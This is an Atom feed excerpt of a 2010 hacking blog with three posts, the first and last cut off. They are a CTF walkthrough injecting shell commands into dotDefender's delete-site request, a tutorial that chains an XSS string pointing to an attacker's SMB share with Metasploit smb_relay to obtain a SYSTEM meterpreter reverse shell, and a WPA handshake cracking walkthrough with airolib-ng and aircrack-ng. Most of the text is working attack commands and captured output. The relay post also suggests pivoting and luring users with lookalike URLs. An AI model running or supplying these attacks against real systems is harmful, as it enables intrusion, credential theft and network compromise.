#0b5394;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Post Auth: &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;Opening up Burp Proxy a well known application proxy I started browsing the Dot Defender site manager. I was presented with a page that allowed me to add and DELETE sites. I created a fake test site and then set my proxy to capture a request. Once I captured a request I sent it over to a module in burp by the name of “repeater”, repeater allows you to keep making the request over and over again manually manipulating the values. Since I had an example delete request and I had the delete example on the full disclosure vulnerability, I modified my request with the vulnerable values.&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-size: xx-small;"&gt;POST /dotDefender/index.cgi HTTP/1.1&lt;br /&gt;Host: www1.noob-filter.com&lt;br /&gt;User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3&lt;br /&gt;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;Accept-Language: en-us,en;q=0.5&lt;br /&gt;Accept-Encoding: gzip,deflate&lt;br /&gt;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;Keep-Alive: 115&lt;br /&gt;Proxy-Connection: keep-alive&lt;br /&gt;Referer: http://www1.noob-filter.com/dotDefender/index.cgi&lt;br /&gt;Authorization: Basic YWRtaW46cGFzc3dvcmQ=&lt;br /&gt;Content-Type: application/x-www-form-urlencoded&lt;br /&gt;Content-Length: 137&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br style="color: #990000;" /&gt;&lt;/span&gt;&lt;span style="color: red; font-size: small;"&gt;&lt;span style="color: #990000;"&gt;sitename=testsite&amp;amp;deletesitename=testsite;id&lt;/span&gt;&lt;span style="color: blue;"&gt;;ls -al;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #990000; font-size: small;"&gt;pwd;&amp;amp;action=deletesite&amp;amp;linenum=12&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In the web response was the output of my command injection. I injected an “ls” command which in unix lists the contents of a directory. I thought to myself, ok so that’s cool but I need to find a certain file to show that I passed the challenge. Running burp requests looking for this file is waaaaay to tedious for me. So I used another familiar unix command. The “find” command.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;span style="color: red;"&gt;&lt;span style="color: #990000;"&gt;sitename=testsite&amp;amp;deletesitename=testsite;id&lt;/span&gt;&lt;span style="color: blue;"&gt;;find / -name 'n00bSecret.txt';&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #990000; font-size: small;"&gt;pwd;&amp;amp;action=deletesite&amp;amp;linenum=12&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Score:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;The n00bSecret file was found quickly so I used the “cat” command to list out the contents of the file with the proof of passing the first challenge.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #0b5394;"&gt;Request: &lt;/div&gt;&lt;span style="font-size: small;"&gt;&lt;span style="color: red;"&gt;&lt;span style="color: #990000;"&gt;sitename=testsite&amp;amp;deletesitename=testsite;id&lt;/span&gt;&lt;span style="color: blue;"&gt;;cat /opt/0c2b7b8071ee658e1c957d3b024ff872d2/n00bSecret.txt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #990000; font-size: small;"&gt;pwd;&amp;amp;action=deletesite&amp;amp;linenum=12&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #990000; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;  &lt;br /&gt;&lt;div style="color: #0b5394;"&gt;Response: &lt;/div&gt;&lt;b&gt;9f9b0b7d2db411c10b517b547a8693d831d3aa936aba4d54b51d30b5a182c05b1f7a5759fd7d5ef64e5485e5d3e3a214dd6b4b78a733566556b2887a6b9a6299&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I browsed out to the contest scoreboard page and added in my shiny new proof key imediatly since I knew there was a 10 minute time limit between exploitation and acceptance. Accepted 25 points added to my account and a shiny new VPN login will be provided to me within 5 minutes time!!!&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Mexican food:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;At this point I decided it was time for some Mexican food, I was fiendish for some chips and salsa all day long. I passed the n00b challenge being the 30th contender out of a possible 100 slots. Note that the 100 slots were not filled till 24 hours after this point.. :)&amp;nbsp;&amp;nbsp;&amp;nbsp; Not too horrible but again could be much better!!&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Lessons Learned:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Dont second guess your observations and research. I was thrown off the path because sneaky contestants were changing the scope of the competition. Observe every detail of the source and what you are presented with and try things more than once! They just might work the second time... At this point 5 hours of the competition were wasted on something that should have taken me less than 2 hours. Or even 30 min if I was quick with it.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Dot Defender Remediation: &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;There is a patch available for this vulnerability from Applicure, just patch your app!! Also according to this other post by Applicure it only effects Linux running Apache. Response by Applicure in the link below.&lt;br /&gt;&lt;a href="http://seclists.org/bugtraq/2009/Dec/123"&gt;http://seclists.org/bugtraq/2009/Dec/123&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: blue;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #0b5394;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Next up, how to own killthen00b&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5948768001255972621-8102351192289284151?l=console-cowboys.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://console-cowboys.blogspot.com/feeds/8102351192289284151/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://console-cowboys.blogspot.com/2010/05/offensive-security-n00bfilter-walk.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/8102351192289284151'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/8102351192289284151'/><link rel='alternate' type='text/html' href='http://console-cowboys.blogspot.com/2010/05/offensive-security-n00bfilter-walk.html' title='Offensive Security n00bFilter Walk Through'/><author><name>Ficti0n</name><uri>http://www.blogger.com/profile/01503121397289908637</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_m-VaRRSbBD4/S-ihdHWiV8I/AAAAAAAAAAM/viGrR8gSPX8/s72-c/noob-filter_main.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5948768001255972621.post-6564768498750896443</id><published>2010-04-15T20:00:00.000-07:00</published><updated>2010-04-15T20:49:31.604-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SMB relay'/><category scheme='http://www.blogger.com/atom/ns#' term='Cross Site Scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><title type='text'>Combining XSS and SMB-Relay</title><content type='html'>I found this to be an interesting way to make XSS useful in say an internal pentest on a local application, or perhaps on a client side test via emails to users you enumerated google hacking or through maltego.&amp;nbsp; You can simply use XSS to call a non existent share on a host running a listener and force a windows user issue their hashes to your listener and gain a shell. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: #0b5394;"&gt;Setting up SMB_Relay in Metasploit:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Open up a metasploit session:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;root@ficti0n:~# &lt;span style="color: red;"&gt;/pentest/exploits/framework3/msfconsole&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; =[ metasploit v3.3.4-dev [core:3.3 api:1.0]&lt;br /&gt;+ -- --=[ 490 exploits - 225 auxiliary&lt;br /&gt;+ -- --=[ 192 payloads - 23 encoders - 8 nops&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; =[ svn r8091 updated 6 days ago (2010.01.09)&lt;br /&gt;&lt;br /&gt;msf &amp;gt; &lt;span style="color: red;"&gt;use exploits/windows/smb/smb_relay&lt;/span&gt;&lt;br /&gt;msf exploit(smb_relay) &amp;gt; &lt;span style="color: red;"&gt;set PAYLOAD windows/meterpreter/reverse_tcp&lt;/span&gt;&lt;br /&gt;PAYLOAD =&amp;gt; windows/meterpreter/reverse_tcp&lt;br /&gt;msf exploit(smb_relay) &amp;gt; &lt;span style="color: red;"&gt;set LHOST 172.20.200.118&lt;/span&gt;&amp;nbsp; &amp;lt;-- Whatever this metasploit server is&lt;br /&gt;LHOST =&amp;gt; 172.20.200.118&lt;br /&gt;msf exploit(smb_relay) &amp;gt; &lt;span style="color: red;"&gt;exploit&lt;/span&gt;&lt;br /&gt;[*] Exploit running as background job.&lt;br /&gt;msf exploit(smb_relay) &amp;gt;&lt;br /&gt;[*] Started reverse handler on port 4444&lt;br /&gt;[*] Server started.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: #0b5394;"&gt;XSS your Client:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;Once your listener is setup on your backtrack server running metasploit you can then run your cross-site-scripting attack against the Client. This attack can be accomplished with the following script string which tries to open a share on the attack server. Put the string below into any parameter that is vulnerable to cross site scripting, just change the IP address to the ipaddress of your server which is running the metasploit smb_relay listener. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;&amp;lt;script language='Javascript' src="\\172.20.200.118\c$"&amp;gt;&amp;lt;/script&amp;gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;&lt;script language="Javascript" src="%5C%5C172.20.200.118%5Cc$"&gt;&lt;/script&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;When the XSS link is clicked you will see network hashes race across the output of the metasploit console.&amp;nbsp; Basically the client that is being XSS'd is sending over their windows credentials to try to open a network share. Metasploit at this point is passing the hashes back to the client and opening a meterpreter session gaining shell access. This is how its working as I understand the process. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;[*] Authenticating to 172.20.200.125 as Ficti0n-1C10DB\Administrator...&lt;br /&gt;[*] AUTHENTICATED as Ficti0n-1C10DB\Administrator...&lt;br /&gt;[*] Ignoring request from 172.20.200.125, attack already in progress.&lt;br /&gt;[*] Sending Access Denied to 172.20.200.125:1069 Ficti0n-1C10DB\Administrator&lt;br /&gt;[*] Received 172.20.200.125:1071 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790 Service Pack 2 LM:&lt;br /&gt;[*] Sending Access Denied to 172.20.200.125:1071 \&lt;br /&gt;[*] Received 172.20.200.125:1071 Ficti0n-1C10DB\Administrator LMHASH:ff227wf24924844095c91577w265de85ebb20w9e9f146319 NTHASH:ff227df2492d844095c91577w265de85ebb20b9w4f178319 OS:Windows Server 2003 3790 Service Pack 2 LM:&lt;br /&gt;[*] Authenticating to 172.20.200.125 as Ficti0n-1C10DB\Administrator...&lt;br /&gt;[*] AUTHENTICATED as Ficti0n-1C10DB\Administrator...&lt;br /&gt;[*] Ignoring request from 172.20.200.125, attack already in progress.&lt;br /&gt;[*] Sending Access Denied to 172.20.200.125:1071 Ficti0n-1C10DB\Administrator&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;At this point you can click into the Metasploit window and issue the following commands to take control of the client machine.&lt;br /&gt;&lt;br /&gt;msf exploit(smb_relay) &amp;gt; &lt;span style="color: red;"&gt;sessions -l&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Active sessions&lt;br /&gt;===============&lt;br /&gt;Id&amp;nbsp; Description&amp;nbsp; Tunnel&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;1&amp;nbsp;&amp;nbsp; Meterpreter&amp;nbsp; 172.20.200.118:4444 -&amp;gt; 172.20.200.125:1047&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;msf exploit(smb_relay) &amp;gt; &lt;span style="color: red;"&gt;sessions -i 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;[*] Starting interaction with 1...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;meterpreter &amp;gt; &lt;span style="color: red;"&gt;getuid&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Server username: NT AUTHORITY\SYSTEM&lt;/span&gt;&lt;br /&gt;meterpreter &amp;gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;You are now logged into the Clients machine as system and can perform any actions that you wish under the context of a System account. Create users, dump hashes, and use the system as a jump point into other systems on the local network. This is all pretty simple stuff but I thought it was pretty cool to just issue it from an XSS attack since I dont see good XSS examples to often. usually just how to grab a cookie.&amp;nbsp; &lt;br /&gt;&lt;b&gt;&lt;br style="color: #0b5394;" /&gt;&lt;span style="color: #0b5394;"&gt;Combining this with CFS: &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;Other good ideas for this attack would be to embed this into a header of a site you control via a cross frame scripting attack. You can then encapsulate a whole valid page in an iframe and the user will never know unless they look at the url... however you can always just register a similar URL to trick a user while silently be passing their credentials...&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b style="color: #0b5394;"&gt;Prevention:&lt;/b&gt;&lt;span style="color: #0b5394;"&gt; &lt;/span&gt;&lt;br /&gt;Of course egress filtering of outgoing ports will prevent this attack.. most people do not egress filter however.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5948768001255972621-6564768498750896443?l=console-cowboys.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://console-cowboys.blogspot.com/feeds/6564768498750896443/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://console-cowboys.blogspot.com/2010/04/combining-xss-and-smb-relay.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/6564768498750896443'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/6564768498750896443'/><link rel='alternate' type='text/html' href='http://console-cowboys.blogspot.com/2010/04/combining-xss-and-smb-relay.html' title='Combining XSS and SMB-Relay'/><author><name>Ficti0n</name><uri>http://www.blogger.com/profile/01503121397289908637</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5948768001255972621.post-8243692357306546775</id><published>2010-02-19T12:03:00.000-08:00</published><updated>2010-02-19T12:07:40.724-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='airolib-ng'/><category scheme='http://www.blogger.com/atom/ns#' term='cracking'/><category scheme='http://www.blogger.com/atom/ns#' term='airolib'/><category scheme='http://www.blogger.com/atom/ns#' term='wpa'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='wireless'/><category scheme='http://www.blogger.com/atom/ns#' term='wifi'/><title type='text'>Airolib-ng WPA cracking walk through</title><content type='html'>I use to crack my WPA passwords with cowpatty precomputed hashes, but another way to crack WPA with hashed values is to create airolib databases with lists of SSID’s and Passwords. Airolib will create these databases with SQLite3. This is convenient because you can have more than one SSID and Password list in each database.&amp;nbsp; If you are in an area with multiple SSID’s running WPA you can note all of the SSID’s in a list and import them into the database.&amp;nbsp; This is great because when doing a packet capture in an environment with multiple WPA encrypted networks, the attacker can crack any of the 4way Authentication Handshakes with the same database file.&amp;nbsp; Below is a play by play of cracking a WPA wireless network using the airolib/aircrack method.&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;b&gt;&lt;i&gt;Note:&lt;/i&gt;&lt;/b&gt;&lt;i&gt; &amp;nbsp;I assume you already have a packet capture of a handshake.... If not just run airodump until you obtain a handshake, or for the sake of practice you can just turn your victim card on and off to catch a capture while airodump is running on that channel.&amp;nbsp; I also assume you know the old way of cracking wpa.. If not I can post a guide on how to do that...&lt;/i&gt;&lt;i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;b&gt;&lt;span style="font-size: 12pt;"&gt;&lt;span style="color: #0b5394;"&gt;Setting up the databases:&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;First you need to create a SQLite3 database and import some SSID’s to the new database. If no database is already created then Airolib will create one for you automatically. Create a list of SSID’s from your Airodump output. Then use the Airolib command in the following format.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;i&gt;Airolib-ng&amp;nbsp; &lt;databasename&gt;&amp;nbsp; --import essid&amp;nbsp; &lt;list of="" ssid’s="" target=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/list&gt;&lt;/databasename&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;br /&gt;&lt;b style="color: #3d85c6;"&gt;Create SSID list:&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;b&gt;Example:&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;root@ficti0n:~# &lt;b style="color: red;"&gt;airolib-ng wpaDatabase --import essid ssidlist.txt&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;Database &lt;wpadatabase&gt; does not already exist, creating it...&lt;o:p&gt;&lt;/o:p&gt;&lt;/wpadatabase&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;Database &lt;wpadatabase&gt; sucessfully created&lt;o:p&gt;&lt;/o:p&gt;&lt;/wpadatabase&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;Reading file...&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;Writing...&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: 10pt;"&gt;&lt;span style="font-size: xx-small;"&gt;Done.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;Next import your password list into the same database with the same format as when you added SSID’s to the database but replacing the keyword to passwd and adding your password list. Here is the format for this followed by an example.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;i&gt;Airolib-ng&amp;nbsp; &lt;databasename&gt; &amp;nbsp;--import &lt;passwd list=""&gt;&amp;nbsp; &lt;password list=""&gt;&lt;/password&gt;&lt;list of="" passwords=""&gt;&lt;/list&gt;&lt;/passwd&gt;&lt;/databasename&gt;&lt;/i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: #3d85c6;"&gt;Create Password List:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;b&gt;Example:&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;root@ficti0n:~# &lt;b&gt;&lt;span style="color: red;"&gt;airolib-ng wpaDatabase --import passwd passwords.txt&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;Reading file...&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;Writing...&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: 10pt;"&gt;&lt;span style="font-size: xx-small;"&gt;Done.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: 10pt;"&gt;This next command is an optional command called “clean” that will run integrity checks on the database and reduce the size of your database if possible. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;br /&gt;&lt;b style="color: #3d85c6;"&gt;Clean Database:&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;b&gt;Example:&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;root@ ficti0n:~# &lt;b&gt;&lt;span style="color: red;"&gt;airolib-ng wpaDatabase --clean all&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;Deleting invalid ESSIDs and passwords...&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;Deleting unreferenced PMKs...&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;Analysing index structure...&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;Vacuum-cleaning the database. This could take a while...&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;Checking database integrity...&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;integrity_check&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;ok&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;Query done. 2 rows affected.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: 10pt;"&gt;&lt;span style="font-size: xx-small;"&gt;Done.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;b&gt;&lt;span style="font-size: 12pt;"&gt;&lt;span style="color: #3d85c6;"&gt;Create your PMK’s:&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: 10pt;"&gt;After you have imported all your SSID’s and Passwords you can create PMK hashes with the following command. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;root@ ficti0n:~# &lt;b style="color: red;"&gt;airolib-ng wpaDatabase --batch&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;Computed 21 PMK in 0 seconds (21 PMK/s, 0 in buffer). All ESSID processed.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="color: #0b5394; line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;b&gt;&lt;span style="font-size: 12pt;"&gt;Cracking:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;Now that you have databases of PMK hashes for the WPA SSID’s in your area you can run a crack against your Output cap file to retrieve your password. If all goes well and the networks password is in your database you are done. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;b&gt;Example:&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;root@ ficti0n:~# &lt;b style="color: red;"&gt;aircrack-ng -r wpaDatabase Output-02.cap&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;Opening Output-02.cap&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;Read 3347 packets.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;&amp;nbsp;&amp;nbsp; #&amp;nbsp; 